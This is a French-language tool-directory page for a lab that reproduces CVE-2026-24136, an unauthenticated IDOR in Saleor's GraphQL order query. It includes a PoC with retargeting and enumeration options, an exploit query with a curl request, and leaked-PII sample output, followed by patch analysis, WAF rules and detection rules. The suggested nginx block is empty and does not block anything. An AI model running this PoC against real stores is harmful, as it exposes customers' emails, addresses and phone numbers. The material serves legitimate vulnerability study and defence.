Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Laboratoire d'exploitation de la vulnérabilité IDOR sur Saleor GraphQL - la requête order() ne vérifie pas l'authentification, exposant toutes les PII (e-mail, adresse, téléphone) des clients. Comprend un environnement Docker, des scripts de données de seed et un PoC. CVSS 4.0 : 8.7 ÉLEVÉ. | Kitploit
Outils/GitHubGitHub/blankbire/cve-2026-24136-lab
Analyse des VulnérabilitésExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

Voir le dépôt
11il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

CVE-2026-24136 | Laboratoire d'exploitation de la vulnérabilité IDOR sur Saleor GraphQL - la requête order() ne vérifie pas l'authentification, exposant toutes les PII (e-mail, adresse, téléphone) des clients. Comprend un environnement Docker, des scripts de données de seed et un PoC. CVSS 4.0 : 8.7 ÉLEVÉ.

Partager

CVE-2026-24136 - Saleor GraphQL IDOR / Exfiltration non authentifiée de PII

Aperçu

ChampDétail
CVE IDCVE-2026-24136
Type de vulnérabilitéIDOR - Contournement d'autorisation via une clé contrôlée par l'utilisateur (CWE-639)
LogicielPlateforme e-commerce Saleor
Versions affectées3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
Version corrigée3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
ImpactUn acteur non authentifié peut lire les PII (nom, adresse, téléphone, email) de n'importe quelle commande
Authentification requise ?Non

Description de la vulnérabilité

Saleor fournit une API GraphQL pour gérer les commandes e-commerce. La requête order(id: $id) permet de récupérer les détails d'une commande via son ID global. Dans les versions affectées, cette requête ne vérifie pas si l'appelant est autorisé à voir cette commande.

N'importe qui, même un utilisateur complètement anonyme sans compte, peut appeler cette requête et recevoir toutes les PII du client : email, nom complet, adresse de livraison, numéro de téléphone, historique des connexions.


Structure du laboratoire

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh                # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Startup wrapper: patch wsgi bug + gunicorn
    ├── seed_data.py            # Tạo victim accounts + orders có PII
    └── poc_cve_2026_24136.py   # PoC khai thác

Démarrage du laboratoire

Prérequis

  • Docker Desktop (Windows / macOS) ou Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Chạy setup tự động
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

Manuellement

root@kitploit:~
# 1. Khởi động containers
docker compose up -d

# 2. Chờ API sẵn sàng (~60-90 giây)
#    Kiểm tra: curl http://localhost:8000/health/

# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb

# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py

Endpoints après le démarrage :

ServiceURL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
Admin[email protected] / admin

Utilisation du PoC

root@kitploit:~
cd scripts

# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain

# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json

# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

Exemple de sortie

root@kitploit:~
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

Analyse de la cause racine

1. Encodage de l'ID de commande

Saleor utilise l'identification globale d'objet ("Global Object Identification") selon la spécification Relay GraphQL. Chaque objet est identifié par un ID global de la forme :

root@kitploit:~
base64("<TypeName>:<internal_id>")

Avec les commandes dans Saleor 3.x :

root@kitploit:~
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

Remarque : Saleor 2.x utilise des IDs séquentiels entiers (Order:1, Order:2, ...) donc plus faciles à énumérer.
Saleor 3.x est passé à UUID, donc l'attaquant doit obtenir l'UUID par d'autres moyens (email de confirmation de commande, fuite d'URL, etc.).

2. Code provoquant la vulnérabilité

Fichier : saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
    """Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session

Fichier : saleor/graphql/order/schema.py

root@kitploit:~
# Query definition, không khai báo permissions
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Không có @permission_required, không có guard nào

3. Requête GraphQL d'exploitation

Requête envoyée sans en-tête Authorization :

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. Flux d'attaque

root@kitploit:~
Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

Analyse du correctif

Commit du correctif principal

Fichier : saleor/graphql/order/resolvers.py

root@kitploit:~
# PHIÊN BẢN ĐÃ PATCH (>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID với authorization check đầy đủ."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff và App có thể xem mọi order
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Authenticated user chỉ được xem order của chính mình
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

Fichier : saleor/graphql/order/schema.py

root@kitploit:~
# Thêm annotation để document permission requirement
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

Comparaison avant et après le correctif

root@kitploit:~
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)

─────────────────────────────────────────────
AVANT LE CORRECTIF (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII divulguées

─────────────────────────────────────────────
APRÈS LE CORRECTIF (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Retourne null, pas d'erreur (intentionnel – pour empêcher l'attaquant de savoir si la commande existe)
─────────────────────────────────────────────

Analyse technique approfondie

Pourquoi le correctif retourne-t-il null au lieu d'une erreur ?

Retourner null au lieu de PermissionDenied pour les requêtes non authentifiées est une conception intentionnelle :

  • Si PermissionDenied est retourné → l'attaquant sait que la commande existe (oracle d'existence)
  • Si null est retourné → l'attaquant ne peut pas distinguer entre "pas de droits" et "n'existe pas"
  • C'est une technique de vérification d'existence insensible au timing appliquée au niveau GraphQL.

Pourquoi un utilisateur authentifié utilise-t-il toujours raise PermissionDenied ?

Car une fois connecté, signaler clairement une erreur aide au débogage. L'oracle d'existence n'est plus un problème car :

  • Un utilisateur authentifié sait généralement que sa commande existe
  • Un attaquant authentifié doit posséder un compte → il peut être révoqué, tracé, limité en taux

Pourquoi les UUID sont-ils plus difficiles à énumérer que les IDs entiers ?

root@kitploit:~
Integer IDs (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → Besoin de O(N) requêtes pour énumérer N commandes
  → L'attaquant peut connaître le nombre total de commandes (par recherche binaire)

UUID IDs (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → Espace de recherche : 2^122 (UUID v4 a 122 bits aléatoires)
  → Le brute force est pratiquement impossible
  → Mais l'ID fuit toujours via : email de confirmation de commande, URL dans le tableau de bord, réponses API, logs → si l'attaquant obtient un seul ID, il peut toujours exploiter

Décomposition du vecteur CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Vecteur d'attaque : Réseau      (exploitation via Internet)
AC:L  – Complexité d'attaque : Faible      (aucune condition spéciale requise)
PR:N  – Privilèges requis : Aucun   (aucun compte nécessaire)
UI:N  – Interaction utilisateur : Aucune      (aucune interaction de la victime nécessaire)
S:U   – Périmètre : Inchangé            (affecte uniquement l'API Saleor)
C:H   – Confidentialité : Élevée       (toutes les PII divulguées)
I:N   – Intégrité : Aucune             (données non modifiables)
A:N   – Disponibilité : Aucune          (pas de déni de service)

Atténuation et défense

1. Appliquer le correctif immédiatement (priorité maximale)

root@kitploit:~
# Kiểm tra phiên bản hiện tại
pip show saleor | grep Version

# Nâng cấp lên phiên bản đã vá
pip install "saleor>=3.20.110"   # nếu đang dùng dòng 3.20.x
pip install "saleor>=3.21.45"   # nếu đang dùng dòng 3.21.x
pip install "saleor>=3.22.29"   # nếu đang dùng dòng 3.22.x

2. Règle WAF temporaire (si le correctif ne peut pas être appliqué immédiatement)

Bloquer les utilisateurs anonymes appelant la requête order() :

root@kitploit:~
# Nginx – block GraphQL order query từ unauthenticated requests
location /graphql/ {
    # Nếu không có Authorization header và body chứa "order("
    if ($http_authorization = "") {
        # Chặn các query có dấu hiệu khai thác
        # Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch
    }
    proxy_pass http://saleor_api;
}

Avec AWS WAF / CloudFront :

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. Limitation de débit

root@kitploit:~
# Giới hạn requests từ 1 IP không có auth
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. Surveillance / Détection

Signes d'exploitation dans les journaux d'accès :

root@kitploit:~
# Phát hiện: 1 IP gửi nhiều GraphQL requests không có Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # Alert nếu > 20 requests từ 1 IP

# Phát hiện pattern "order" trong request body không có auth
# (cần JSON body logging)

Règle d'alerte pour Grafana / Datadog :

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "Potential CVE-2026-24136 exploitation attempt"
  description: "High rate of unauthenticated GraphQL POST requests"

Nettoyage du laboratoire

root@kitploit:~
# Dừng và xóa containers + volumes (xóa toàn bộ data)
docker compose down -v

# Chỉ dừng containers (giữ data)
docker compose stop

Références

  • Saleor Security Advisory
  • OWASP - Broken Object Level Authorization (BOLA/IDOR)
  • CWE-639 - Authorization Bypass Through User-Controlled Key
  • Relay Global Object Identification Spec

Avertissement : Ce laboratoire est destiné uniquement à des fins de recherche, d'apprentissage et de rédaction de rapports de sécurité.
N'utilisez pas le PoC sur des systèmes réels sans autorisation écrite.

Télécharger l’outil